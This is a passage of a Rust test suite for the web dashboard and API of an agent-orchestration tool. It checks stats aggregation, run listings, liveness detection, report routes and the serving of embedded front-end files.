12160 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12161 let html = include_str!("../assets/ui/index.html");
12162 assert!(html.contains("Approximate"));
12163 for label in ["reflected strongly", "faint", "no proposal"] {
12164 assert!(html.contains(label));
12165 }
12166 let css = include_str!("../assets/ui/app.css");
12167 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12168 assert!(css.contains(&format!(".{c} {{")));
12169 }
12170 }
12171
12172 #[test]
12173 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12174 assert!(APP_JS.contains("function statsDailyPlan("));
12175 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12176 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12177 }
12178
12179 #[test]
12180 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12181 let start = APP_JS
12182 .find("function scheduleSearch(")
12183 .expect("scheduleSearch exists");
12184 let body = &APP_JS[start..];
12185 let body = &body[..body.find("\n}\n").expect("function end")];
12186 assert!(body.contains("s.seq += 1"));
12187 }
12188
12189 #[tokio::test]
12194 async fn stats_runs_unreadable_matches_health() {
12195 let f = Fixture::start().await;
12196 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12197 let broken = f.runs().join("20260902-140502-bad");
12198 std::fs::create_dir_all(&broken).expect("run dir");
12199 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12200
12201 let stats = f.get("/api/stats").await;
12202 let health = f.get("/api/health").await;
12203
12204 assert_eq!(stats.status, 200);
12205 assert_eq!(stats.json()["totals"]["runs"], 1);
12206 assert_eq!(stats.json()["runs_unreadable"], 1);
12207 assert_eq!(
12208 stats.json()["runs_unreadable"],
12209 health.json()["runs_unreadable"],
12210 "the dashboard and /api/health must never disagree about how many \
12211 runs could not be read"
12212 );
12213 }
12214
12215 #[tokio::test]
12216 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12217 let f = Fixture::start().await;
12218 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12219 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12220 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12221
12222 let totals = &f.get("/api/stats").await.json()["totals"];
12223 assert_eq!(totals["runs"], 3);
12224 assert_eq!(totals["merged"], 1);
12225 assert_eq!(totals["stalled"], 1);
12226 assert_eq!(totals["in_progress"], 1);
12227 assert_eq!(totals["blocked"], 0);
12230 assert_eq!(totals["ready"], 0);
12231 }
12232
12233 #[tokio::test]
12234 async fn stats_advisors_report_proposals_and_reflection() {
12235 use crate::advise::{Advice, AdvisorRecord, Reflection};
12236 use crate::verdict::Proposal;
12237
12238 let f = Fixture::start().await;
12239 let mut state = RunState::new(
12240 PathBuf::from("/repo/magi"),
12241 "main".to_owned(),
12242 "0123456789abcdef".to_owned(),
12243 "task".to_owned(),
12244 Config::default(),
12245 );
12246 state.id = "20260902-140501-a".to_owned();
12247 state.status = RunStatus::Merged;
12248 state.advice = Some(Advice {
12249 records: vec![
12250 AdvisorRecord {
12251 seat: "advisor-1".to_owned(),
12252 agent: "alpha".to_owned(),
12253 proposal: Some(Proposal {
12254 approach: "do it".to_owned(),
12255 key_tradeoff: "speed over memory".to_owned(),
12256 risks: Vec::new(),
12257 touches: Vec::new(),
12258 why_not_naive: "breaks under load".to_owned(),
12259 }),
12260 error: None,
12261 duration_ms: 0,
12262 reflection: Reflection::Strong,
12263 },
12264 AdvisorRecord {
12265 seat: "advisor-2".to_owned(),
12266 agent: "alpha".to_owned(),
12267 proposal: None,
12268 error: Some("timed out".to_owned()),
12269 duration_ms: 0,
12270 reflection: Reflection::Absent,
12271 },
12272 ],
12273 synthesis: Some("blended brief".to_owned()),
12274 });
12275 let dir = f.runs().join(&state.id);
12276 std::fs::create_dir_all(&dir).expect("run dir");
12277 std::fs::write(
12278 dir.join("run.json"),
12279 serde_json::to_string_pretty(&state).expect("serialize run"),
12280 )
12281 .expect("write run.json");
12282
12283 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12285 let alpha = advisors
12286 .as_array()
12287 .expect("an array")
12288 .iter()
12289 .find(|a| a["agent"] == "alpha")
12290 .expect("alpha row");
12291 assert_eq!(alpha["seated"], 2);
12292 assert_eq!(alpha["proposed"], 1);
12293 assert_eq!(alpha["absent"], 1);
12294 assert_eq!(alpha["strong"], 1);
12295 assert_eq!(alpha["faint"], 0);
12296 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12297 }
12298
12299 #[tokio::test]
12300 async fn stats_hides_agents_outside_the_roster_unless_all() {
12301 use crate::run::Candidate;
12302 let repo = TempDir::new().expect("repo dir");
12303 std::fs::write(
12304 repo.path().join("magi.toml"),
12305 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12306 )
12307 .expect("magi.toml");
12308 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12309 let mut state = RunState::new(
12310 PathBuf::from("/repo/magi"),
12311 "main".to_owned(),
12312 "0123456789abcdef".to_owned(),
12313 "task".to_owned(),
12314 Config::default(),
12315 );
12316 state.id = "20260902-140501-a".to_owned();
12317 state.status = RunStatus::Merged;
12318 for (label, agent) in [('A', "keep"), ('B', "retired")] {
12319 let mut c: Candidate = serde_json::from_value(serde_json::json!({
12320 "index": 0, "label": label.to_string(), "agent": agent,
12321 "branch": "b", "worktree": "/w",
12322 }))
12323 .expect("candidate");
12324 c.label = label;
12325 state.candidates.push(c);
12326 }
12327 let dir = f.runs().join(&state.id);
12328 std::fs::create_dir_all(&dir).expect("run dir");
12329 std::fs::write(
12330 dir.join("run.json"),
12331 serde_json::to_string_pretty(&state).expect("serialize run"),
12332 )
12333 .expect("write run.json");
12334
12335 let agents_of = |v: &serde_json::Value| -> Vec<String> {
12336 v["agents"]
12337 .as_array()
12338 .expect("array")
12339 .iter()
12340 .map(|a| a["agent"].as_str().unwrap().to_owned())
12341 .collect()
12342 };
12343 let hidden = f.get("/api/stats").await.json();
12344 assert_eq!(agents_of(&hidden), ["keep"]);
12345 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12346 assert_eq!(hidden["totals"]["runs"], 1);
12347
12348 let all = f.get("/api/stats?all=true").await.json();
12349 assert_eq!(agents_of(&all).len(), 2);
12350 assert_eq!(all["retired_hidden"], serde_json::json!([]));
12351 }
12352
12353 #[tokio::test]
12354 async fn stats_release_bumps_split_clean_from_attention() {
12355 use crate::run::ReleaseBump;
12356
12357 let f = Fixture::start().await;
12358
12359 let mut clean = RunState::new(
12360 PathBuf::from("/repo/magi"),
12361 "main".to_owned(),
12362 "0123456789abcdef".to_owned(),
12363 "task".to_owned(),
12364 Config::default(),
12365 );
12366 clean.id = "20260902-140501-a".to_owned();
12367 clean.status = RunStatus::Merged;
12368 clean.release_bump = Some(ReleaseBump {
12369 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12370 version: Some("1.0.0".to_owned()),
12371 automerge_enabled: true,
12372 merged_directly: false,
12373 local: false,
12374 release: None,
12375 problem: None,
12376 action_required: None,
12377 });
12378
12379 let mut blocked = RunState::new(
12380 PathBuf::from("/repo/magi"),
12381 "main".to_owned(),
12382 "0123456789abcdef".to_owned(),
12383 "task".to_owned(),
12384 Config::default(),
12385 );
12386 blocked.id = "20260902-140502-b".to_owned();
12387 blocked.status = RunStatus::Merged;
12388 blocked.release_bump = Some(ReleaseBump {
12389 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12390 version: Some("1.0.1".to_owned()),
12391 automerge_enabled: false,
12392 merged_directly: false,
12393 local: false,
12394 release: None,
12395 problem: Some("checks red".to_owned()),
12396 action_required: Some("look at the PR".to_owned()),
12397 });
12398
12399 for state in [&clean, &blocked] {
12400 let dir = f.runs().join(&state.id);
12401 std::fs::create_dir_all(&dir).expect("run dir");
12402 std::fs::write(
12403 dir.join("run.json"),
12404 serde_json::to_string_pretty(state).expect("serialize run"),
12405 )
12406 .expect("write run.json");
12407 }
12408
12409 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12410 assert_eq!(bumps["merged"], 2);
12411 assert_eq!(bumps["recorded"], 2);
12412 assert_eq!(bumps["pr_opened"], 2);
12413 assert_eq!(bumps["automerge_enabled"], 1);
12414 assert_eq!(bumps["needs_attention"], 1);
12415 assert_eq!(bumps["clean"], 1);
12416 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12417 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12418 }
12419
12420 #[tokio::test]
12421 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12422 let f = Fixture::start().await;
12423 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12424
12425 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12426 assert_eq!(bumps["merged"], 1);
12427 assert_eq!(bumps["recorded"], 0);
12428 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12431 assert_eq!(bumps["automerge_rate"], Value::Null);
12434 assert_eq!(bumps["attention_rate"], Value::Null);
12435 }
12436
12437 #[tokio::test]
12438 async fn stats_queue_counts_come_from_the_live_queue() {
12439 let f = Fixture::start().await;
12440 let q = f.queue();
12441 let mut queued = Task::new(
12442 "queued task".to_owned(),
12443 "do it".to_owned(),
12444 PathBuf::from("/repo"),
12445 Source::Human,
12446 );
12447 q.put(&mut queued).expect("put queued");
12448 let mut held = Task::new(
12449 "held task".to_owned(),
12450 "do it later".to_owned(),
12451 PathBuf::from("/repo"),
12452 Source::Human,
12453 );
12454 held.hold_machine(Some("out of attempts".to_owned()));
12455 q.put(&mut held).expect("put held");
12456
12457 let queue = f.get("/api/stats").await.json()["queue"].clone();
12458 assert_eq!(queue["queued"], 1);
12459 assert_eq!(queue["held"], 1);
12460 assert_eq!(queue["running"], 0);
12461 assert_eq!(queue["done"], 0);
12462 assert_eq!(queue["failed"], 0);
12463 assert_eq!(queue["blocked"], 0);
12464 }
12465
12466 #[tokio::test]
12467 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12468 let f = Fixture::start().await;
12469 let stats = f.get("/api/stats").await;
12470 assert_eq!(stats.status, 200);
12471 assert_eq!(stats.json()["totals"]["runs"], 0);
12472 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12473 assert_eq!(stats.json()["runs_unreadable"], 0);
12474 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12475 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12476 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12477 assert_eq!(stats.json()["repo"], Value::Null);
12478 }
12479
12480 #[tokio::test]
12481 async fn stats_lists_every_repository_with_runs_recorded() {
12482 let f = Fixture::start().await;
12483 write_run_repo(
12484 &f.runs(),
12485 "20260902-140501-a",
12486 RunStatus::Merged,
12487 "/repos/a",
12488 );
12489 write_run_repo(
12490 &f.runs(),
12491 "20260902-140502-b",
12492 RunStatus::Merged,
12493 "/repos/a",
12494 );
12495 write_run_repo(
12496 &f.runs(),
12497 "20260902-140503-c",
12498 RunStatus::Blocked,
12499 "/repos/b",
12500 );
12501
12502 let stats = f.get("/api/stats").await;
12503 assert_eq!(stats.status, 200);
12504 assert_eq!(stats.json()["totals"]["runs"], 3);
12506 assert_eq!(stats.json()["repo"], Value::Null);
12507
12508 let repos = stats.json()["repos"].clone();
12509 let repos = repos.as_array().unwrap();
12510 assert_eq!(repos.len(), 2);
12511 assert_eq!(repos[0]["repo"], "/repos/a");
12513 assert_eq!(repos[0]["name"], "a");
12514 assert_eq!(repos[0]["runs"], 2);
12515 assert_eq!(repos[1]["repo"], "/repos/b");
12516 assert_eq!(repos[1]["runs"], 1);
12517 }
12518
12519 #[tokio::test]
12520 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12521 let f = Fixture::start().await;
12522 write_run_repo(
12523 &f.runs(),
12524 "20260902-140501-a",
12525 RunStatus::Merged,
12526 "/repos/a",
12527 );
12528 write_run_repo(
12529 &f.runs(),
12530 "20260902-140502-b",
12531 RunStatus::Blocked,
12532 "/repos/b",
12533 );
12534
12535 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12536 assert_eq!(stats.status, 200);
12537 assert_eq!(stats.json()["totals"]["runs"], 1);
12538 assert_eq!(stats.json()["totals"]["merged"], 1);
12539 assert_eq!(stats.json()["repo"], "/repos/a");
12540 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12543 assert_eq!(stats.json()["runs_unreadable"], 0);
12546 }
12547
12548 #[tokio::test]
12549 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12550 let f = Fixture::start().await;
12551 write_run_repo(
12552 &f.runs(),
12553 "20260902-140501-a",
12554 RunStatus::Merged,
12555 "/repos/a",
12556 );
12557 write_run_repo(
12558 &f.runs(),
12559 "20260902-140502-b",
12560 RunStatus::Merged,
12561 "/repos/b",
12562 );
12563
12564 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12565 let json = f.get(uri).await.json();
12566 let daily = json["daily"].as_array().expect("daily is an array");
12567 assert_eq!(daily.len(), 30);
12568 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12569 let mut sorted = dates.clone();
12570 sorted.sort();
12571 assert_eq!(dates, sorted);
12572 for d in daily {
12573 assert_eq!(
12574 d["merged"].as_u64().unwrap()
12575 + d["ready"].as_u64().unwrap()
12576 + d["other"].as_u64().unwrap(),
12577 d["runs"].as_u64().unwrap()
12578 );
12579 }
12580 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12581 }
12582 }
12583
12584 #[tokio::test]
12585 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12586 let f = Fixture::start().await;
12587 write_run_repo(
12588 &f.runs(),
12589 "20260902-140501-a",
12590 RunStatus::Merged,
12591 "/repos/a",
12592 );
12593
12594 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12595 assert_eq!(stats.status, 404);
12596 }
12597
12598 #[tokio::test]
12599 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12600 let f = Fixture::start().await;
12601 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12602
12603 let summary = f.get("/api/runs").await.json();
12604 let row = &summary[0];
12605 assert_eq!(row["short"], "a1b2");
12606 assert_eq!(row["status"], "ready");
12607 assert_eq!(row["done"], true);
12608 assert_eq!(row["title"], "Add a web UI");
12609 assert_eq!(row["repo_name"], "magi");
12610 assert_eq!(row["judges"], 3);
12611 assert_eq!(row["winner"], Value::Null);
12612 assert_eq!(row["reviews"], 0);
12613
12614 let detail = f.get("/api/runs/a1b2").await;
12617 assert_eq!(detail.status, 200);
12618 assert_eq!(detail.json()["base_branch"], "main");
12619 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12620 }
12621
12622 #[tokio::test]
12630 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12631 let f = Fixture::start().await;
12632
12633 let mut none_run = RunState::new(
12634 PathBuf::from("/repo/magi"),
12635 "main".to_owned(),
12636 "0123456789abcdef".to_owned(),
12637 "Add a web UI".to_owned(),
12638 Config::default(),
12639 );
12640 none_run.id = "20260902-140503-none".to_owned();
12641 none_run.status = RunStatus::Ready;
12642 none_run.merge = Some(crate::run::MergeOutcome {
12643 mode: crate::config::MergeMode::None,
12644 ok: true,
12645 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12646 empty: false,
12647 });
12648 write_state(&f.runs(), &none_run);
12649
12650 let mut pr_run = RunState::new(
12651 PathBuf::from("/repo/magi"),
12652 "main".to_owned(),
12653 "0123456789abcdef".to_owned(),
12654 "Add a web UI".to_owned(),
12655 Config::default(),
12656 );
12657 pr_run.id = "20260902-140504-prcl".to_owned();
12658 pr_run.status = RunStatus::Ready;
12659 pr_run.merge = Some(crate::run::MergeOutcome {
12660 mode: crate::config::MergeMode::Pr,
12661 ok: false,
12662 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12663 empty: false,
12664 });
12665 write_state(&f.runs(), &pr_run);
12666
12667 let summary = f.get("/api/runs").await.json();
12668 let rows: std::collections::HashMap<&str, &Value> = summary
12669 .as_array()
12670 .expect("an array")
12671 .iter()
12672 .map(|r| (r["id"].as_str().expect("an id"), r))
12673 .collect();
12674 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12675 assert_eq!(
12676 rows[none_run.id.as_str()]["unmerged_by_design"],
12677 true,
12678 "a mode-none Ready must be flagged in the list"
12679 );
12680 assert_eq!(
12681 rows[pr_run.id.as_str()]["unmerged_by_design"],
12682 false,
12683 "a Ready reached by a closed pull request is a different case"
12684 );
12685
12686 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12687 assert_eq!(none_detail["status"], "ready");
12688 assert_eq!(none_detail["unmerged_by_design"], true);
12689
12690 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12691 assert_eq!(pr_detail["unmerged_by_design"], false);
12692 }
12693
12694 #[tokio::test]
12699 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12700 let f = Fixture::start().await;
12701 let id = "20260902-140502-bbbb";
12705 let mut state = RunState::new(
12706 PathBuf::from("/repo/magi"),
12707 "main".to_owned(),
12708 "0123456789abcdef".to_owned(),
12709 "Add a web UI".to_owned(),
12710 Config::default(),
12711 );
12712 state.id = id.to_owned();
12713 state.status = RunStatus::Judging;
12714 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12715 let dir = f.runs().join(id);
12716 std::fs::create_dir_all(&dir).expect("run dir");
12717 std::fs::write(
12718 dir.join("run.json"),
12719 serde_json::to_string_pretty(&state).expect("serialize run"),
12720 )
12721 .expect("write run.json");
12722
12723 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12729 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12730 assert_eq!(cold["live"], "unknown", "{cold}");
12731
12732 write_daemon(f.home.path(), Timestamp::now());
12735 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12736 assert_eq!(warm["live"], "live", "{warm}");
12737 }
12738
12739 #[tokio::test]
12742 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12743 let f = Fixture::start().await;
12744 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12745 let mut state = RunState::new(
12746 PathBuf::from("/repo/magi"),
12747 "main".to_owned(),
12748 "0123456789abcdef".to_owned(),
12749 "Add a web UI".to_owned(),
12750 Config::default(),
12751 );
12752 state.id = id.to_owned();
12753 state.origin = origin;
12754 let mut value = serde_json::to_value(&state).expect("serialize run");
12755 if let Some(schema) = schema {
12756 value["schema"] = serde_json::json!(schema);
12757 value.as_object_mut().unwrap().remove("origin");
12758 }
12759 let dir = f.runs().join(id);
12760 std::fs::create_dir_all(&dir).expect("run dir");
12761 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12762 };
12763 write(
12764 "20260930-092817-ec34",
12765 Some(crate::run::Origin::from_agent_env(
12766 Some(("4a7b".to_owned(), "chat".to_owned())),
12767 None,
12768 )),
12769 None,
12770 );
12771 write("20260930-092817-0ld1", None, Some(12));
12772
12773 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12774 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12775 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12776
12777 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12778 assert_eq!(
12779 old["origin_label"], "origin unknown (started before origins were recorded)",
12780 "{old}"
12781 );
12782 assert!(old["origin"].is_null(), "{old}");
12783
12784 let list = f.get("/api/runs").await.json();
12785 let labels: Vec<_> = list
12786 .as_array()
12787 .unwrap()
12788 .iter()
12789 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12790 .collect();
12791 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12792 }
12793
12794 #[tokio::test]
12801 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12802 let f = Fixture::start().await;
12803 let id = "20260922-090000-cccc";
12804 let mut state = RunState::new(
12805 PathBuf::from("/repo/magi"),
12806 "main".to_owned(),
12807 "0123456789abcdef".to_owned(),
12808 "Review only".to_owned(),
12809 Config::default(),
12810 );
12811 state.id = id.to_owned();
12812 state.status = RunStatus::Reviewing;
12813 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12814 state.driver_pid = Some(std::process::id());
12820 state.driver_started_at = Some(
12821 crate::proc::process_started_at(std::process::id())
12822 .expect("this test process's own start time must be queryable"),
12823 );
12824 let dir = f.runs().join(id);
12825 std::fs::create_dir_all(&dir).expect("run dir");
12826 std::fs::write(
12827 dir.join("run.json"),
12828 serde_json::to_string_pretty(&state).expect("serialize run"),
12829 )
12830 .expect("write run.json");
12831
12832 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12833 assert_eq!(detail["live"], "live", "{detail}");
12834 }
12835
12836 #[tokio::test]
12842 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12843 let f = Fixture::start().await;
12844 let id = "20260922-090100-dddd";
12845 let mut state = RunState::new(
12846 PathBuf::from("/repo/magi"),
12847 "main".to_owned(),
12848 "0123456789abcdef".to_owned(),
12849 "Review only".to_owned(),
12850 Config::default(),
12851 );
12852 state.id = id.to_owned();
12853 state.status = RunStatus::Reviewing;
12854 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12855 state.driver_pid = Some(std::process::id());
12860 state.driver_started_at = Some("1".to_owned());
12861 let dir = f.runs().join(id);
12862 std::fs::create_dir_all(&dir).expect("run dir");
12863 std::fs::write(
12864 dir.join("run.json"),
12865 serde_json::to_string_pretty(&state).expect("serialize run"),
12866 )
12867 .expect("write run.json");
12868
12869 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12870 assert_eq!(detail["live"], "dead", "{detail}");
12871 }
12872
12873 #[test]
12877 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12878 let mk = |id: &str, pid: Option<u32>| {
12879 let mut s = RunState::new(
12880 PathBuf::from("/repo/magi"),
12881 "main".to_owned(),
12882 "0123456789abcdef".to_owned(),
12883 "Add a web UI".to_owned(),
12884 Config::default(),
12885 );
12886 s.id = id.to_owned();
12887 s.driver_pid = pid;
12888 s.driver_started_at = Some("1790000000".to_owned());
12889 s
12890 };
12891 let states = vec![
12892 mk("20260902-140502-aaaa", Some(77)),
12893 mk("20260902-140502-bbbb", Some(77)),
12894 mk("20260902-140502-cccc", Some(77)),
12895 mk("20260902-140502-dddd", None),
12896 ];
12897 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12898 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12899 let sup: HashMap<String, String> = [(
12900 "20260902-140502-aaaa".to_owned(),
12901 "20260902-140502-cccc".to_owned(),
12902 )]
12903 .into();
12904
12905 let status_calls = std::cell::Cell::new(0);
12906 let identity_calls = std::cell::Cell::new(0);
12907 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12908 |_| {
12909 status_calls.set(status_calls.get() + 1);
12910 Some(true)
12911 },
12912 |_| {
12913 identity_calls.set(identity_calls.get() + 1);
12914 Some("1790000000".to_owned())
12915 },
12916 ));
12917 let rows = summarize(
12918 states,
12919 &open,
12920 &claimed,
12921 &sup,
12922 |p| probe.borrow_mut().status(p),
12923 |p| probe.borrow_mut().started_at(p),
12924 );
12925
12926 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12927 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12928 assert_eq!(rows.len(), 4);
12929 assert!(!rows[0].waiting && rows[1].waiting);
12930 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12931 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12932 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12933 assert_eq!(rows[1].superseded_by, None);
12934 }
12935
12936 #[test]
12937 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12938 let mut state = RunState::new(
12939 PathBuf::from("/repo/magi"),
12940 "main".to_owned(),
12941 "0123456789abcdef".to_owned(),
12942 "Review only".to_owned(),
12943 Config::default(),
12944 );
12945 state.id = "20260922-090200-dead".to_owned();
12946 state.status = RunStatus::Reviewing;
12947 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12948 .expect("serialize list row");
12949 assert_eq!(row["status"], "reviewing");
12950 assert_eq!(row["live"], "dead", "{row}");
12951 assert!(!row["done"].as_bool().unwrap());
12952 }
12953
12954 #[tokio::test]
12955 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12956 let f = Fixture::start().await;
12957 for id in [
12958 "20260902-140501-aaaa",
12959 "20260902-140502-bbbb",
12960 "20260902-140503-cccc",
12961 ] {
12962 write_run(&f.runs(), id, RunStatus::Merged);
12963 }
12964
12965 let all = f.get("/api/runs").await.json();
12966 let capped = f.get("/api/runs?limit=2").await.json();
12967
12968 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12969 assert_eq!(all.as_array().map(Vec::len), Some(3));
12970 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12971 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12972 }
12973
12974 #[tokio::test]
12975 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12976 let f = Fixture::start().await;
12977 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12978
12979 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12980
12981 assert_eq!(res.status, 200);
12982 assert!(
12983 res.headers
12984 .contains("content-type: text/plain; charset=utf-8"),
12985 "a browser must render it, not download it: {}",
12986 res.headers
12987 );
12988 assert!(
12992 res.body.contains("20260902-140501-a1b2"),
12993 "the report is about the run that was asked for: {}",
12994 res.body
12995 );
12996 }
12997
12998 #[tokio::test]
12999 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
13000 crate::run::pin_test_home();
13002 let f = Fixture::start().await;
13003 let id = "20260902-140501-a1b2";
13004 write_run(&f.runs(), id, RunStatus::Stalled);
13005 let path = f.runs().join(id).join("run.json");
13008 let mut v: serde_json::Value =
13009 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13010 v["tally"] = serde_json::json!({
13011 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
13012 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
13013 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
13014 "met_quorum": false, "rankings": 1
13015 });
13016 v["reviews"] = serde_json::json!([{
13017 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
13018 "e2e_deferred": true,
13019 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
13020 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
13021 ]}]
13022 }]);
13023 std::fs::write(&path, v.to_string()).unwrap();
13024 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
13025 std::fs::write(
13026 f.runs().join("20260902-140502-dead").join("run.json"),
13027 "{not json",
13028 )
13029 .unwrap();
13030
13031 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
13032
13033 assert_eq!(res.status, 200, "{}", res.body);
13034 assert!(res.headers.contains("content-type: application/json"));
13035 let j = res.json();
13036 assert_eq!(j["schema"], 1);
13037 assert_eq!(j["header"]["id"], id);
13038 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
13039 let kinds: Vec<&str> = j["sections"]
13040 .as_array()
13041 .unwrap()
13042 .iter()
13043 .map(|s| s["kind"].as_str().unwrap())
13044 .collect();
13045 assert_eq!(kinds, ["candidates", "tally", "review"]);
13046 let tally = &j["sections"][1]["tally"];
13047 assert_eq!(
13048 (tally["decided"].clone(), tally["provisional"].clone()),
13049 (false.into(), true.into())
13050 );
13051 let round = &j["sections"][2]["rounds"][0];
13052 assert_eq!(round["e2e"]["state"], "deferred");
13053 assert_eq!(round["findings"][0]["severity"], "major");
13054 assert_eq!(round["findings"][0]["blocking"], true);
13055 assert_eq!(round["findings"][0]["state"], "open");
13056
13057 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
13059
13060 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
13062 assert_ne!(bad.status, 200, "{}", bad.body);
13063 assert_eq!(
13064 bad.status,
13065 f.get("/api/runs/20260902-140502-dead/report").await.status
13066 );
13067 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
13068 assert_eq!(
13069 f.get("/api/runs/20260902-999999-ffff/report.json")
13070 .await
13071 .status,
13072 404
13073 );
13074 }
13075
13076 #[tokio::test]
13077 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13078 let f = Fixture::start().await;
13079
13080 let html = f.get("/").await;
13081 let css = f.get("/app.css").await;
13082 let js = f.get("/app.js").await;
13083
13084 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13085 assert!(
13086 html.headers
13087 .contains("content-type: text/html; charset=utf-8")
13088 );
13089 assert!(css.headers.contains("content-type: text/css"));
13090 assert!(js.headers.contains("content-type: text/javascript"));
13091 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13092 }
13093
13094 #[test]
13095 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13096 let body = |name: &str| {
13097 let at = APP_JS
13098 .find(name)
13099 .unwrap_or_else(|| panic!("{name} missing"));
13100 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13101 };
13102 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13103 let note = body("function landRoundNote");
13104 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
